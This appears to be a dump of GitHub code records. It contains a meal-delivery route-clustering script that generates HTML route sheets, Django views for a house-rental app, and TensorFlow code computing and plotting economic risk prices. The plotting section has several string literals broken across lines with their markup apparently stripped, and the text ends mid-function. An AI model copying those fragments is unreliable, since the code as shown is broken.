range(len(addresses)):\n        if cluster_map[i] == cluster_num:\n            sa.append(addresses[i])\n\n    # styling for map\n    road_styles = [{\n        'feature': 'road.highway',\n        'element': 'geomoetry',\n        'rules': {\n            'visibility': 'simplified',\n            'color': '#c280e9'\n        }\n    }, {\n        'feature': 'transit.line',\n        'rules': {\n            'visibility': 'simplified',\n            'color': '#bababa'\n        }\n    }]\n\n    # get maps\n    dmap = DecoratedMap(style=road_styles)\n\n    # add marker for each address\n    for a in sa:\n        dmap.add_marker(AddressMarker(a))\n\n    return dmap.generate_url()\n\n\ndef collect_map_urls(extra, cluster_map, clusters):\n    \"\"\"\n    Iterates over each cluster and gathers the necessary Google Maps URL for\n    a static map image\n    \"\"\"\n    urls = []\n    i = 0\n\n    # iterates over the cluster numbers\n    indices = sorted(clusters.keys())\n    for key in indices:\n        try:\n            urls.append(generate_map_url(extra['addr'], cluster_map, key))\n        except:\n            # TODO: when are erros generated? Server side with Google Maps?\n            print(\"Error generating map: %d\" % key)\n            LOG.warning(\"Error generating map: key: %d i: %d\" % (key, i))\n            urls.append(\"\")\n        i += 1\n\n    return urls\n\n\ndef get_totals(raw_data):\n    \"\"\"\n    Count the number of meals and distinct locations in the raw CSV data\n\n    Returns counts for the meals and the number of distinct locations\n    \"\"\"\n    meals = 0\n    count = 0\n    for row in raw_data:\n        count += 1\n        meals += int(row[11])\n    return meals, count\n\n\ndef generate_master_list(urls, total_meals, total_locs, clusters, cluster_map, raw_data):\n    \"\"\"\n    Write the HTML files for individual routes and compile the HTML for the \n    master list\n\n    Returns the HTML for the master list\n    \"\"\"\n    # map of indices in a raw CSV row to the field names they correspond to\n    field_names = {\n        5: 'name',\n        6: 'phone',\n        7: 'town',\n        8: 'zip',\n        9: 'street',\n        10: 'apt',\n        11: 'meals',\n        12: 'instr'\n    }\n\n    with open(\"master_template.html\", \"r\") as tmp:\n        # Soupify the HTML\n        soup = BeautifulSoup(tmp, 'html.parser')\n\n        # add the totals counts to their respective tags\n        total_meals_tag = soup.find(id=\"total_meals\")\n        total_locs_tag = soup.find(id=\"total_locs\")\n        total_meals_tag.append(str(total_meals))\n        total_locs_tag.append(str(total_locs))\n\n        # grab the data div\n        data_div = soup.find(id=\"data\")\n\n        # initialize some counters for a sanity check\n        TOTAL_MEAL_SANITY = 0\n        TOTAL_ROUTE_SANITY = 0\n\n        # iterate over the centroids/clusters\n        # NOTE: mu is an index in to the list of centroids, not the centroid\n        # itself\n\n        # iterates over the cluster numbers\n        indices = sorted(clusters.keys())\n        for mu in indices:\n            print(\"cluster \" + str(mu + 1))\n\n            # Soupify the individual route template\n            r_tmp = open(\"route_template.html\", \"r\")\n            r_soup = BeautifulSoup(r_tmp, 'html.parser')\n            r_data_div = r_soup.find(id=\"data\")\n\n            # identify the indices for the subset of the raw data corresponding\n            # to the current centroid\n            matching_keys = []\n            for i in range(len(cluster_map)):\n                if cluster_map[i] == mu:\n                    matching_keys.append(i)\n\n            # setup a new div and table for the routing entries\n            table_div = soup.new_tag(\"div\", id=\"table_div\" + str(mu), **{'class': \"table_div\"})\n            data_div.append(table_div)\n            table = soup.new_tag(\"table\", id=\"table\" + str(mu), **{'class': \"table\"})\n            table_div.append(table)\n\n            # setup the table pre-header\n            tr_prehead = soup.new_tag(\"tr\", id=\"tr_prehead\" + str(mu), **{'class': \"tr_prehead\"})\n            table.append(tr_prehead)\n            th_prehead = soup.new_tag(\"th\", id=\"th_prehead\" + str(mu), **{'class': \"th_prehead\"})\n            th_prehead.string = \"ROUTE #: \" + str(mu + 1)\n            r_title = r_soup.find(id=\"title_route\")\n            r_h1 = r_soup.find(id=\"h1_route\")\n            r_title.append(\"ROUTE #: \" + str(mu + 1))\n            r_h1.append(\"ROUTE #: \" + str(mu + 1))\n\n            tr_prehead.append(th_prehead)\n\n            # setup the table header\n            tr_head = soup.new_tag(\"tr\", id=\"tr_head\" + str(mu), **{'class': \"tr_head\"})\n            table.append(tr_head)\n            th = soup.new_tag(\"th\")\n            th.string = \"Name\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Phone\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Town\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Zip\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Street Address\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Apt/Bldg #\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Meals\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Special Intructions\"\n            tr_head.append(th)\n            th = soup.new_tag(\"th\")\n            th.string = \"Agency\"\n            tr_head.append(th)\n\n            # initialize a count for the total number of meals\n            meal_count = 0\n\n            # create a table row for each client\n            tr_list = []\n            for key in matching_keys:\n                tr = soup.new_tag(\"tr\", id=\"tr_data\" + str(key), **{'class': \"tr_data\"})\n                tr_list.append((raw_data[key][9], tr))\n\n                for i in range(5, 13):\n                    th = soup.new_tag(\"th\", id=\"th_\" + field_names[i] + str(key), **{'class': \"th_\" + field_names[i]})\n                    th.string = raw_data[key][i]\n                    tr.append(th)\n                    if i == 11:\n                        meal_count += int(raw_data[key][i])\n\n                th = soup.new_tag(\"th\", id=\"th_agency\" + str(key), **{'class': \"th_agency\"})\n                th.string = raw_data[key][1]\n                tr.append(th)\n\n            # increment the sanity counters\n            TOTAL_MEAL_SANITY += meal_count\n            TOTAL_ROUTE_SANITY += len(matching_keys)\n\n            # sort the table rows by street name\n            tr_list = sorted(tr_list, key=lambda x: x[0])\n            for garbage, tr in tr_list:\n                table.append(tr)\n\n            # close the table\n            tr_end = soup.new_tag(\"tr\", id=\"tr_total\" + str(mu), **{'class': \"tr_total\"})\n            table.append(tr_end)\n\n            th_end1 = soup.new_tag(\"th\", id=\"th_total1\" + str(mu), **{'class': \"th_total1\"})\n            th_end1.string = \"TOTAL MEALS: \" + str(meal_count)\n            tr_end.append(th_end1)\n\n            th_end2 = soup.new_tag(\"th\", id=\"th_total2\" + str(mu), **{'class': \"th_total2\"})\n            th_end2.string = \"TOTAL STOPS: \" + str(len(matching_keys))\n            tr_end.append(th_end2)\n\n            # get the Google Maps URL for the static map image\n            url = urls[mu]\n            img_div = soup.new_tag(\"div\", id=\"img_div\" + str(mu), **{'class': \"img_div\"})\n            data_div.append(img_div)\n\n            img = soup.new_tag(\"img\", id=\"img\" + str(mu), src=url, **{'class': \"img\"})\n            img_div.append(img)\n\n            # TODO: figure out why this error check is in place...\n            try:\n                r_data_div.append(BeautifulSoup(table_div.prettify(), 'html.parser'))\n                r_data_div.append(BeautifulSoup(img_div.prettify(), 'html.parser'))\n            except:\n                print(\"copy error\")\n                import IPython\n                IPython.embed()\n                sys.exit()\n\n            # write the individual route files\n            indiv_file = open(\"route_\" + str(mu + 1) + \".html\", \"w\")\n            indiv_file.write(r_soup.prettify())\n            indiv_file.close()\n\n            # close the template\n            r_tmp.close()\n\n            # print our santiy check\n            print(TOTAL_MEAL_SANITY)\n            print(TOTAL_ROUTE_SANITY)\n\n        # return the HTML for the master list\n        return soup.prettify()\n\n\ndef main():\n    \"\"\"\n    Main routine\n    \"\"\"\n    # cluster data\n    centers, clusters, cluster_map, extra = cluster(\"comb_list.csv\", CLUSTER_NUM)\n\n    # collect the URLs for the Google Maps images\n    urls = collect_map_urls(extra, cluster_map, clusters)\n\n    # get counts for the number of meals and the number of stops\n    total_meals, total_locs = get_totals(extra['raw'])\n\n    # Generate HTML for routes\n    html = generate_master_list(urls, total_meals, total_locs, clusters, cluster_map, extra['raw'])\n    f = open(\"master.html\", \"w\")\n    f.write(html)\n    f.close()\n\n    # write the list of addresses that could only be partially mapped to a\n    # legitimate Google maps address\n    f = open(\"partials.txt\", \"w\")\n    for line in extra['partials']:\n        f.write(str(line) + \"\\n\")\n    f.close()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"cmcg513/cluster-routing","sub_path":"cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":12958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6565295183","text":"from django.shortcuts import render\nfrom django.views import View\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom .sevenox import steam\nfrom PIL import Image\n# Create your views here.\nfrom homes.models import *\n\n\nclass CityAreasView(View):\n    def get(self,request):\n\n        data=[]\n        citys = Area.objects.all()\n        for city in citys:\n            data.append({\n                'aid': city.id,\n                'aname': city.name\n\n            })\n        #构建响应\n        return JsonResponse({\n            'errno': 0,\n            'errmsg': '获取成功',\n            'data': data\n        })\n\n\nclass HomeList(View):\n    def get(self, request):\n        user = request.user\n        # 加入用户登录\n        if user.is_authenticated:\n            data = []\n            try:\n                House_list = House.objects.all()\n                for city in House_list:\n                    name = city.area.name\n                    data.append({\n                            \"address\": city.address,  # address 房屋地址\n                            \"area_name\":  name,     # area_name  城区名\n                            \"ctime\": city.create_time,  # ctime  创建时间\n                            \"house_id\": city.id,  # house_id 房屋id\n                            \"img_url\": \"http://oyucyko3w.bkt.clouddn.com/\" + city.index_image_url,  # img_urls  房屋图片\n                            \"order_count\": city.order_count,  # 订单数据\n                            \"price\": city.price,  # price  价格\n                            \"room_count\": city.room_count,  # room_count  房间数目\n                            \"title\": city.title,  # title  标题\n                            \"user_avatar\": \"http://oyucyko3w.bkt.clouddn.com/\" + str(city.user.avatar)  # user_avatar 头像\n                        })\n            except Exception as e:  # 发生未知错误\n                print(e)\n                return JsonResponse({\"data\": {}, \"errmsg\": \"NODATA - 无数据\", \"errno\": \"4002\"})\n            else:\n                return JsonResponse({\"data\": data, \"errmsg\": \"ok\", \"errno\": \"0\"})\n        else:\n            return JsonResponse({\"data\": {}, \"errmsg\": \"UNKOWNERR - 未知错误\", \"errno\": \"4501\"})\n\n\n# 首页房屋推荐\nclass HomeRecommend(View):\n    def get(self, request):\n        # 无请求参数\n        data = []\n        try:\n            House_lists = House.objects.all()\n            for home_list in House_lists:\n\n                data.append({  # 加入到data\n                    \"house_id\": home_list.id,  # 房屋id\n                    \"img_url\": home_list.index_image_url,  # 房屋主图片\n                    \"title\": home_list.title,  # 房屋标题\n                })\n        except Exception as e:  # 发生未知错误\n            return JsonResponse({\"data\": {}, \"errmsg\": \"UNKOWNERR - 未知错误\", \"errno\": \"4501\"})\n        return JsonResponse({\"data\": data, \"errmsg\": \"ok\", \"errno\": \"0\"})\n    # 没有登录则返回\n\n\n\nclass HomeImage(View):\n    def post(self, request, house_id):\n        user = request.user\n        house_image = request.FILES.get('house_image')\n        if not house_image:  # 判断文件是否存在\n            return JsonResponse({\"code\": 4002, \"errmsg\": \"数据错误  --图片不存在哦\", \"data\": {}})\n        # 假如有文件存在则判断文件\n        img = Image.open(house_image)\n        img_type = ['jpg', 'bmp', 'png', 'jpeg', 'rgb', 'tif']  # 图片的类型\n        w = img.width       # 图片的宽\n        h = img.height      # 图片的高\n        f = img.format      # 图像格式\n        small_f = str(f).lower()\n\n        if user.is_authenticated:   # 判断用户是否登录 测试改为暂时改为not\n            if not ((100 < w < 1000)and (100 < h < 1000)):  # 文件太大或者太小都不可以上传!!\n                return JsonResponse({\"code\": 4004, \"errmsg\": \"DATAERR 数据错误  --图片太小或者太大哦!!\", \"data\": {}})\n\n            if not (small_f in img_type):  # 图片类型不对则不可以上传 !!\n                return JsonResponse({\"code\": 4004, \"errmsg\": \"DATAERR 数据错误  --图片类型不对则不可以上传哦!!\", \"data\": {}})\n            \n            # 假如有文件数据则添加到数据库 house_id=house_id,  url=house_image\n            # HouseImage.objects.create(house_id=house_id, url=house_image)\n            # 调用sevemox.steam函数,并返回steam_image_file\n            try:\n                steam_image_file = steam(house_image)\n                data = {\"avatar_url\": steam_image_file}\n            except Exception as e:\n                return JsonResponse({\"code\": 4002, \"errmsg\": \"数据错误 发生未知错误\", \"data\": {}})\n            else:\n                return JsonResponse({'errno': 0, 'errmsg': '图片上传成功', 'data': data})\n        else:  # 用户没有登录则返回错误\n            return JsonResponse({'errno': 4101, 'errmsg': '用户未登录', 'data': {}})\n","repo_name":"Aloof-0/ihome","sub_path":"ihome/ihome/apps/homes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"24595722185","text":"    #!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 10 11:07:18 2022\n\n@author: Yavor Kovachev\n\"\"\"\n\n## Plotting libraries\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n#matplotlib.use('TkAgg') # Required to make it run on both Windows and Mac\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n### Other libraries \nimport numpy as np\nimport tensorflow as tf\n\n############################################### ###############################\n#################           Computing functions        ########################\n###############################################################################\n\ndef computeRiskPrices(valueFunctionLogH, valueFunctionLogE, policyFunctionKappa, X, params, order_states,\n             logXiE = None, logXiH = None, kappa = None, dX_LogXiE = None, dX_LogXiH = None, dX2_LogXiE = None, \n             dX2_LogXiH = None, dX_Q = None, dX2_Q_noncross = None, dX_logQ = None, dX2_logQ = None, typeOfOutput = 'MFR'):\n  \n  ## valueFunctionH, valueFunctionE:              neural nets used to approximate value functions\n  ## policyFunctionLogQ, policyFunctionKappa:     neural nets used to approximate policy functions\n  ## X:                                           sampled states\n  ## params:                                      parameters\n\n  ## Parse information\n  nShocks      = params['sigmaK'].shape[0]\n  nStates      = X.shape[1]\n  batchSize    = X.shape[0]\n\n  if typeOfOutput == 'NN':  ### NN case\n    logXiE       = valueFunctionLogE(X)\n    logXiH       = valueFunctionLogH(X)\n    xiE          = tf.exp(logXiE)\n    xiH          = tf.exp(logXiH)\n    kappa        = policyFunctionKappa(X)\n\n    if params['a_h'] > 0:\n      kappa      = kappa\n    else:\n      kappa      = tf.ones([batchSize,1])\n\n    ## Derivatives\n    with tf.GradientTape(persistent=True) as t1:\n      LogXiE     = valueFunctionLogE(X)\n      LogXiH     = valueFunctionLogH(X)\n      num_q          = (1 - kappa) * params['a_h'] + kappa * params['a_e'] + 1 / params['phi']\n      den_q          = (1 - X[:,order_states['W'], tf.newaxis]) * tf.pow(params['rho_h'], 1 / params['psi_h']) \\\n      * tf.pow(xiH, 1 - 1 / params['psi_h']) + X[:,order_states['W'], tf.newaxis] * tf.pow(params['rho_e'], 1 / params['psi_e']) \\\n      * tf.pow(xiE, 1 - 1 / params['psi_e']) + 1 / params['phi']\n      Q              = num_q / den_q     ##### eq. (44)\n      logQ           = tf.math.log(Q)\n\n    ### First ord. der.\n    dX_LogXiE = t1.gradient(LogXiE, X)\n    dX_LogXiH = t1.gradient(LogXiH, X)\n    dX_logQ   = t1.gradient(logQ, X)\n\n  else:                     ### MRF case\n    logXiE       = tf.reshape(logXiE, [batchSize, 1] )\n    logXiH       = tf.reshape(logXiH, [batchSize, 1] )\n    kappa        = tf.reshape(tf.convert_to_tensor(kappa, dtype=tf.float64 ), [batchSize, 1] )\n    # ## Derivatives\n    dX_logQ                  = tf.convert_to_tensor(dX_logQ, dtype=tf.float64)\n    # dX_LogXiE                = tf.reshape(dX_LogXiE, [batchSize, 1] )\n    dX_LogXiH                = tf.convert_to_tensor(dX_LogXiH, dtype=tf.float64)\n\n  dZ_logQ = dX_logQ[:,1:2]\n  dV_logQ = dX_logQ[:,2:3]\n\n  ## Compute drifts and volatilities. For now, assume no idio vol (\\varsigma = 0 everywhere)\n  sigmaK       = params['sigmaK'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n  sigmaZ       = params['sigmaZ'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n  sigmaV       = params['sigmaV'] * tf.sqrt(tf.reshape(X[:,order_states['V']],[batchSize, 1]))\n  \n  ## Compute chi\n  sigmaXtilde  = [sigmaZ, sigmaV]\n  #### Terms for chi\n  Dx           = sigmaK + (sigmaZ*dZ_logQ + sigmaV*dV_logQ)       ###### eq. (68)\n  DxNormSq     = tf.reduce_sum(Dx * Dx, axis = 1, keepdims=True)\n  DzetaOmega   = DxNormSq * ( ( params['gamma_h'] - 1.0) * dX_LogXiH[:,order_states['W'], tf.newaxis] - \n                                                                    (params['gamma_e'] - 1.0) * dX_LogXiE[:,order_states['W'], tf.newaxis] );\n\n  DzetaOmega   = DzetaOmega * X[:,order_states['W'], tf.newaxis]  * (1 - X[:,order_states['W'], tf.newaxis]) \n  DzetaX       = tf.zeros(DzetaOmega.shape, dtype=tf.float64)\n\n  for s in range(nShocks):\n    for n in range(1,nStates):\n      DzetaX       = DzetaX + Dx[:,s, tf.newaxis] * ( sigmaXtilde[n-1][:,s, tf.newaxis] * ( ( params['gamma_h'] - 1.0) * dX_LogXiH[:,n, tf.newaxis] - \n                                                                    (params['gamma_e'] - 1.0) * dX_LogXiE[:,n, tf.newaxis] ) ) \n  \n  DzetaX       = DzetaX * X[:,order_states['W'], tf.newaxis] * (1 - X[:,order_states['W'], tf.newaxis]) ###### eq. (68)\n\n  # #### Find chi\n  chiN         = DzetaX - X[:,order_states['W'], tf.newaxis] * (1 - X[:,order_states['W'], tf.newaxis]) * (params['gamma_e'] - params['gamma_h']) * DxNormSq\n  chiD         = ( ( 1 - X[:,order_states['W'], tf.newaxis]) * params['gamma_e'] + X[:,order_states['W'], tf.newaxis] * params['gamma_h'] ) * DxNormSq + dX_logQ[:,0, tf.newaxis] * DzetaX - DzetaOmega\n  chi          = chiN / chiD + X[:,order_states['W'], tf.newaxis]  ###### eq. (68)\n  chi          = tf.math.maximum(chi, params['chiUnderline'])\n\n  ## Compute deltaE and deltaH\n  sigmaQ       = ( (chi * kappa - tf.reshape(X[:, order_states['W']],[batchSize, 1]) ) * sigmaK * tf.reshape(dX_logQ[:,0], [batchSize,1]) + sigmaZ * tf.reshape(dX_logQ[:,1], [batchSize, 1])\n   + sigmaV * tf.reshape(dX_logQ[:,2], [batchSize,1] ) )  / (1.0 -  (chi * kappa - tf.reshape(X[:,order_states['W']],[batchSize, 1]) ) * tf.reshape(dX_logQ[:,0], [batchSize,1]) ) ###### eq. (57)\n\n  sigmaR       = sigmaK  + sigmaQ  ###### eq. (58) simplified\n\n  # sigmaRNormSq = tf.reshape(tf.reduce_sum(sigmaR * sigmaR, axis = 1), [batchSize,1]) #tf.reshape( tf.square(tf.norm(sigmaR,ord='euclidean', axis= 1)), [batchSize,1])\n\n\n  sigmaW       = (chi * kappa - tf.reshape(X[:,order_states['W']], [batchSize,1]) ) * sigmaR ###### eq. (52)\n\n  Pi           = params['gamma_h'] * ( (1.0 - chi * kappa) / (1.0 - tf.reshape(X[:,order_states['W']], [batchSize,1]) )  ) * sigmaR + \\\n  (params['gamma_h'] - 1.0) * (sigmaW * tf.reshape(dX_LogXiH[:,0], [batchSize, 1]) + sigmaZ * tf.reshape(dX_LogXiH[:,1], [batchSize, 1]) + \\\n                                      sigmaV * tf.reshape(dX_LogXiH[:,2], [batchSize, 1]) )  ###### eq. (62)\n\n  # Pi = tf.ones(shape=(batchSize,1), dtype=tf.float64)\n  return Pi\n\n############################################### ###############################\n#################           Plotting functions        #########################\n###############################################################################\n\ndef plotLosses(totalLosses, lossesHJBE, lossesHJBH, lossesKappa):\n  '''\n  Plot training losses: total, HJB_e, HJB_h, kappa, and any additional losses \n  from e.g. active training points etc. \n  '''\n  plt.rcParams[\"figure.figsize\"] = [12,10]\n  fig, axs = plt.subplots(2, 2)\n  fig.suptitle('Training losses (errors)', y=0.92)\n\n  axs[0,0].plot(totalLosses)\n  axs[0,0].set_title('Total loss')\n  axs[0,0].set_xlabel('Number of epochs')\n  axs[0,0].set_ylabel('Loss')\n  axs[0,0].set_xscale('log')\n  axs[0,0].set_yscale('log')\n\n  # HJB experts\n  axs[0,1].plot(lossesHJBE)\n  axs[0,1].set_title('HJBE experts loss')\n  axs[0,1].set_xlabel('Number of epochs')\n  axs[0,1].set_ylabel('Loss')\n  axs[0,1].set_xscale('log')\n  axs[0,1].set_yscale('log')\n\n  # HJB households\n  axs[1,0].plot(lossesHJBH)\n  axs[1,0].set_title('HJBE households loss')\n  axs[1,0].set_xlabel('Number of epochs')\n  axs[1,0].set_ylabel('Loss')\n  axs[1,0].set_xscale('log')\n  axs[1,0].set_yscale('log')\n\n  # Kappa\n  axs[1,1].plot(lossesKappa)\n  axs[1,1].set_title(r'Policy function ($\\kappa$) loss')\n  axs[1,1].set_xlabel('Number of epochs')\n  axs[1,1].set_ylabel('Loss')\n  axs[1,1].set_xscale('log')\n  axs[1,1].set_yscale('log')\n\n  # plt.tight_layout(pad=0.5)\n  plt.show()\n\ndef generate2DPlots(mfr_Results, nn_Results, two_Norms, abs_Diffs):\n\n  logXiE, logXiH, kappa = mfr_Results[0], mfr_Results[1], mfr_Results[2]\n  logXiE_NNs, logXiH_NNs, kappa_NNs = nn_Results[0], nn_Results[1], nn_Results[2]\n  twoNormXiE, twoNormXiH, twoNormKappa = two_Norms[0], two_Norms[1], two_Norms[2]\n  maxAbsDiffXiE, maxAbsDiffXiH, maxAbsDiffKappa = abs_Diffs[0], abs_Diffs[1], abs_Diffs[2]\n  \n  ## Format everything to 4 dec. places\n  float_formatter  = \"{0:.4f}\"\n  twoNormXiE       = float_formatter.format(twoNormXiE)\n  twoNormXiH       = float_formatter.format(twoNormXiH)\n  twoNormKappa     = float_formatter.format(twoNormKappa)\n  maxAbsDiffXiE    = float_formatter.format(maxAbsDiffXiE)\n  maxAbsDiffXiH    = float_formatter.format(maxAbsDiffXiH)\n  maxAbsDiffKappa  = float_formatter.format(maxAbsDiffKappa)\n\n  ## Plot  \n  plt.rcParams[\"figure.figsize\"] = [15,10]\n\n  fig, axs = plt.subplots(3, 1)\n  fig.suptitle('MFR vs NNs - value and policy functions ', y=1)\n\n  axs[0].plot(logXiE_NNs, '.', label='NN', markersize=2)\n  axs[0].plot(logXiE, '.', label='MFR', markersize=2)\n  axs[0].set_title(r'Value function experts $\\log\\xi_{E}$.  ||MFR - NN||$_2$ = ' + twoNormXiE + ' over ' + str(logXiE_NNs.shape[0]) + ' points. '\n                    + 'Max. abs. diff. = ' + maxAbsDiffXiE)\n  axs[0].set_ylabel(r'$\\log\\xi_{E}$')\n  axs[0].set_xlabel(r'$W \\times Z \\times V = 100 \\times 30 \\times 30 = 90000$ observations')\n  axs[0].legend()\n\n  axs[1].plot(logXiH_NNs, '.', label='NN', markersize=2)\n  axs[1].plot(logXiH, '.', label='MFR', markersize=2)\n  axs[1].set_title(r'Value function households $\\log\\xi_{H}$. ||MFR - NN||$_2$ = ' + twoNormXiH + ' over ' + str(logXiH_NNs.shape[0]) + ' points. '\n                    + 'Max. abs. diff. = ' + maxAbsDiffXiH)\n  axs[1].set_ylabel(r'$\\log\\xi_{H}$')\n  axs[1].set_xlabel(r'$W \\times Z \\times V = 100 \\times 30 \\times 30 = 90000$ observations')\n  axs[1].legend()\n\n  axs[2].plot(kappa_NNs, 'o', label='NN', markersize=2)\n  axs[2].plot(kappa, 'o', label='MFR', markersize=2)\n  axs[2].set_title(r'Policy function $\\kappa$. ||MFR - NN||$_2$ = ' + twoNormKappa + ' over ' + str(kappa_NNs.shape[0]) + ' points. '\n                    + 'Max. abs. diff. = ' + maxAbsDiffKappa)\n  axs[2].set_ylabel(r'$\\kappa$')\n  axs[2].set_xlabel(r'$W \\times Z \\times V = 100 \\times 30 \\times 30 = 90000$ observations')\n  axs[2].legend()\n\n  plt.tight_layout(pad=3.0)\n  plt.show()\n\n  \ndef generateSurfacePlots(mfr_Results, nn_Results, fixed_points, X):\n    ### Surface plots of value and policy functions \n    '''\n    Generates surface plots of the two value funtions and policy function. \n    \n    Parameters:\n    mfr_Results  (list): List of len 3 containing the MFR approximations for the\n    experts VF, households VF and policy function kappa\n    nn_Results   (list): List of len 3 containing the NN approximations for the \n    experts VF, households VF and policy function kappa\n    fixed_points (list): List of len 3 with values at which to fix Z or V for \n    when plotting the surfaces for the VFs and policy function\n    \n    Returns:\n    None: Generates a 1x3 plot of surfaces\n    '''\n    W, Z, V = X[:,0], X[:,1], X[:,2]\n    logXiE, logXiH, kappa = mfr_Results[0], mfr_Results[1], mfr_Results[2]\n    logXiE_NNs, logXiH_NNs, kappa_NNs = nn_Results[0], nn_Results[1], nn_Results[2] \n    ## Fix Z and V to plot value and policy functions as surfaces\n    idxZ_E  = X[:,1] == np.unique(Z)[fixed_points[0]]\n    idxZ_H = X[:,1] == np.unique(Z)[fixed_points[1]] \n    idxV_K = X[:,2] == np.unique(V)[fixed_points[2]]\n    \n    VF_E_val = np.unique(Z)[fixed_points[0]]\n    VF_H_val = np.unique(Z)[fixed_points[1]]\n    Pol_val  = np.unique(V)[fixed_points[2]]\n    \n    ## Grid size for W\n    n_points = np.unique(W).shape[0]\n    \n    ## Two norms \n    twoNormXiE_surf = np.linalg.norm(logXiE_NNs[idxZ_E] - logXiE[idxZ_E])\n    twoNormXiH_surf = np.linalg.norm(logXiH_NNs[idxZ_H] - logXiH[idxZ_H])\n    twoNormKappa_surf = np.linalg.norm(kappa_NNs[idxV_K] - kappa[idxV_K])\n    ## Format everything to 4 dec. places\n    float_formatter   = \"{0:.4f}\"\n    twoNormXiE_surf   = float_formatter.format(twoNormXiE_surf)\n    twoNormXiH_surf   = float_formatter.format(twoNormXiH_surf)\n    twoNormKappa_surf = float_formatter.format(twoNormKappa_surf)\n    VF_E_val          = float_formatter.format(VF_E_val)\n    VF_H_val          = float_formatter.format(VF_H_val)\n    Pol_val           = float_formatter.format(Pol_val)\n    \n    fig = make_subplots(\n        rows=1, cols=3, horizontal_spacing=.05, vertical_spacing=.05,\n        subplot_titles=('Experts value function 
Z fixed at '+ VF_E_val +'
||diff.||_2 = ' + str(twoNormXiE_surf),\n 'Households value function
Z fixed at '+ VF_H_val +'
||diff.||_2 = ' + str(twoNormXiH_surf),\n 'Kappa policy function
V fixed at '+ Pol_val +'
||diff.||_2 = ' + str(twoNormKappa_surf)),\n specs=[[{'type': 'surface'}, {'type': 'surface'}, {'type': 'surface'}]])\n fig.update_layout(\n title='MRF vs NN solutions - surface plots',\n scene =dict(xaxis_title='W', yaxis_title='V', zaxis_title='xi_e'),\n scene2=dict(xaxis_title='W', yaxis_title='V', zaxis_title='xi_h'),\n scene3=dict(xaxis_title='W', yaxis_title='Z', zaxis_title='kappa'),\n title_x = 0.5,\n title_y = 0.98)\n \n ## Experts value function as function of (W, V) at Z=Z[14]\n fig.add_trace(go.Surface(\n x=W[idxZ_E].reshape([n_points, 30], order='F'),\n y=V[idxZ_E].reshape([n_points, 30], order='F'),\n z=logXiE[idxZ_E].reshape([n_points, 30], order='F'),\n colorscale='Viridis', showscale=False, name='MFR', showlegend=True), row=1, col=1)\n fig.add_trace(go.Surface(\n x=W[idxZ_E].reshape([n_points, 30], order='F'),\n y=V[idxZ_E].reshape([n_points, 30], order='F'),\n z=logXiE_NNs[idxZ_E].reshape([n_points,30], order='F'),\n showscale=False, name='NN', showlegend=True), row=1, col=1)\n \n ## Households value function as function of (W, V) at Z=Z[14]\n fig.add_trace(go.Surface(\n x=W[idxZ_H].reshape([n_points, 30], order='F'),\n y=V[idxZ_H].reshape([n_points, 30], order='F'),\n z=logXiH[idxZ_H].reshape([n_points, 30], order='F'),\n colorscale='Viridis', showscale=False), row=1, col=2)\n fig.add_trace(go.Surface(\n x=W[idxZ_H].reshape([n_points, 30], order='F'),\n y=V[idxZ_H].reshape([n_points, 30], order='F'),\n z=logXiH_NNs[idxZ_H].reshape([n_points,30], order='F'),\n showscale=False), row=1, col=2)\n \n ## Policy function kappa as function of (W, Z) at Z=Z[14]\n fig.add_trace(go.Surface(\n x=W[idxV_K].reshape([n_points, 30], order='F'),\n y=Z[idxV_K].reshape([n_points, 30], order='F'),\n z=kappa[idxV_K].reshape([n_points, 30], order='F'),\n colorscale='Viridis', showscale=False), row=1, col=3)\n fig.add_trace(go.Surface(\n x=W[idxV_K].reshape([n_points, 30], order='F'),\n y=Z[idxV_K].reshape([n_points, 30], order='F'),\n z=kappa_NNs[idxV_K].reshape([n_points,30], order='F'),\n showscale=False), row=1, col=3)\n \n fig.show()\n \ndef plotRiskPrices(Pi_MFR, Pi_NN, X, fix_V_location, fix_Z_location):\n\n # Plot risk prices Pi with plotly\n Pi_MFR = Pi_MFR.numpy()\n Pi_NN = Pi_NN.numpy()\n \n n_points = 100\n float_formatter = \"{0:.4f}\"\n \n W, Z, V = X[:,0], X[:,1], X[:,2]\n ## Fix V\n idxV = X[:,2] == np.unique(V)[fix_V_location]\n V_fixed = float_formatter.format(np.unique(V)[fix_V_location])\n ## Fix Z\n idxZ = X[:,1] == np.unique(Z)[fix_Z_location]\n Z_fixed = float_formatter.format(np.unique(Z)[fix_Z_location])\n \n fig = make_subplots(\n rows=1, cols=2, horizontal_spacing=.05, vertical_spacing=.05,\n subplot_titles=(r'Risk price (households): first shock; V fixed at '+ V_fixed, #+'
||diff.||_2 = ' + str(twoNormXiE_surf),\n r'Risk price (households): first shock; Z fixed at '+ Z_fixed,), #+'
